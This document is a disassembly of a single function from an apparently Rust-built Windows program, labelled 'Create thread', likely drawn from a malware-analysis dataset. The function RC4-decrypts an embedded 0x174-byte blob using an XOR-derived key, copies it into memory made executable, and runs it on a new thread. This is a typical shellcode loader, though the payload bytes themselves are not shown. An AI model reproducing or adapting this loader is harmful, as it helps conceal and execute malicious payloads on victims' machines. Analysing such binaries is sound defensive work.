Function at 0x140001650
Capabilities:
Create thread

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x430
movaps xmm0, xmmword [section..rdata]
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmm0, xmmword [0x14012a010]
movaps xmmword [rsp + 0x1c0], xmm0
movaps xmm0, xmmword [0x14012a020]
movaps xmmword [rsp + 0x1d0], xmm0
movaps xmm0, xmmword [0x14012a030]
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmm0, xmmword [0x14012a040]
movaps xmmword [rsp + 0x1f0], xmm0
movaps xmm0, xmmword [0x14012a050]
movaps xmmword [rsp + 0x200], xmm0
movaps xmm0, xmmword [0x14012a060]
movaps xmmword [rsp + 0x210], xmm0
movaps xmm0, xmmword [0x14012a070]
movaps xmmword [rsp + 0x220], xmm0
movaps xmm0, xmmword [0x14012a080]
movaps xmmword [rsp + 0x230], xmm0
movaps xmm0, xmmword [0x14012a090]
movaps xmmword [rsp + 0x240], xmm0
movaps xmm0, xmmword [0x14012a0a0]
movaps xmmword [rsp + 0x250], xmm0
movaps xmm0, xmmword [0x14012a0b0]
movaps xmmword [rsp + 0x260], xmm0
movaps xmm0, xmmword [0x14012a0c0]
movaps xmmword [rsp + 0x270], xmm0
movaps xmm0, xmmword [0x14012a0d0]
movaps xmmword [rsp + 0x280], xmm0
movaps xmm0, xmmword [0x14012a0e0]
movaps xmmword [rsp + 0x290], xmm0
movaps xmm0, xmmword [0x14012a0f0]
movaps xmmword [rsp + 0x2a0], xmm0
movaps xmm0, xmmword [0x14012a100]
movaps xmmword [rsp + 0x2b0], xmm0
movaps xmm0, xmmword [0x14012a110]
movaps xmmword [rsp + 0x2c0], xmm0
movaps xmm0, xmmword [0x14012a120]
movaps xmmword [rsp + 0x2d0], xmm0
movaps xmm0, xmmword [0x14012a130]
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmm0, xmmword [0x14012a140]
movaps xmmword [rsp + 0x2f0], xmm0
movaps xmm0, xmmword [0x14012a150]
movaps xmmword [rsp + 0x300], xmm0
movaps xmm0, xmmword [0x14012a160]
movaps xmmword [rsp + 0x310], xmm0
mov dword [rsp + 0x320], 0xb923d971
mov rax, qword [0x14016e368]
movzx eax, byte [rax]
mov edi, 1
mov ecx, 8
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x1400019c8
mov rcx, rax
mov byte [rax], 0x6c
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 8
mov qword [rsp + 0x48], 1
mov ebx, 2
lea r14, [0x14012a1f0]
lea r15, [0x14012a209]
xor r12d, r12d
lea rsi, [rsp + 0x38]
jmp 0x140001848
mov rcx, qword [rsp + 0x38]
mov byte [rcx + rbx - 1], bpl
mov qword [rsp + 0x48], rbx
inc rbx
cmp rbx, 0xf
je 0x140001875
mov rax, rdi
lea rdx, [rbx - 1]
inc rdi
cmp rax, 0x10
cmovae rdi, r12
movzx ebp, byte [rbx + r14 - 1]
xor bpl, byte [rax + r15]
cmp rdx, qword [rsp + 0x40]
jne 0x140001835
mov rcx, rsi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h74d91c328f035055
jmp 0x140001830
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
lea rcx, [rsp + 0x38]
mov r8d, 0xe
mov rdx, rdi
call dbg.from_utf8
cmp qword [rsp + 0x38], 0
je 0x1400018c3
mov rax, qword [rsp + 0x40]
movzx ecx, byte [rsp + 0x48]
mov edx, dword [rsp + 0x49]
mov dword [rsp + 0x328], edx
mov edx, dword [rsp + 0x4c]
mov dword [rsp + 0x32b], edx
cmp cl, 2
jne 0x1400019e5
lea rcx, [rsp + 0x328]
mov r8d, 0xe
mov rdx, rdi
call sym.crypto::rc4::Rc4::new::h594aaf3a88ab0f62
test rsi, rsi
je 0x1400018ef
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call sym.__rust_dealloc
lea rsi, [rsp + 0x38]
lea rdi, [rsp + 0x1b0]
mov r8d, 0x174
mov rcx, rsi
mov rdx, rdi
call sym.memcpy
mov qword [rsp + 0x20], 0x174
lea rcx, [rsp + 0x328]
mov r8d, 0x174
mov rdx, rdi
mov r9, rsi
call sym.__crypto::rc4::Rc4_as_crypto::symmetriccipher::SynchronousStreamCipher_::process::h17d39e5cc73e7bd2
mov edx, 0x174
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call sub.KERNEL32.dll_VirtualAlloc
mov rdi, rax
mov r8d, 0x174
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_memmove
mov dword [rsp + 0x30], 4
lea r9, [rsp + 0x30]
mov edx, 0x174
mov rcx, rdi
mov r8d, 0x20
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
je 0x1400019d9
mov dword [rsp + 0x34], 0
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rdi
xor r9d, r9d
call sub.KERNEL32.dll_CreateThread
mov rcx, rax
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
nop
add rsp, 0x430
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov ecx, 1
mov edx, 8
call dbg.handle_alloc_error
ud2
mov ecx, 0x100
call dbg.exit
ud2
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], 0xe
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x58], cl
mov eax, dword [rsp + 0x328]
mov ecx, dword [rsp + 0x32b]
mov dword [rsp + 0x59], eax
mov dword [rsp + 0x5c], ecx
lea rax, str.src_main.rs_rp__rj_fc1_lx15
mov qword [rsp + 0x20], rax
lea rcx, [0x14012a1a0]
lea r9, sym.core::ptr::drop_in_place_alloc::string::FromUtf8Error_::hd94ba44045202ce8
lea r8, [rsp + 0x38]
mov edx, 0x2b
call dbg.unwrap_failed
ud2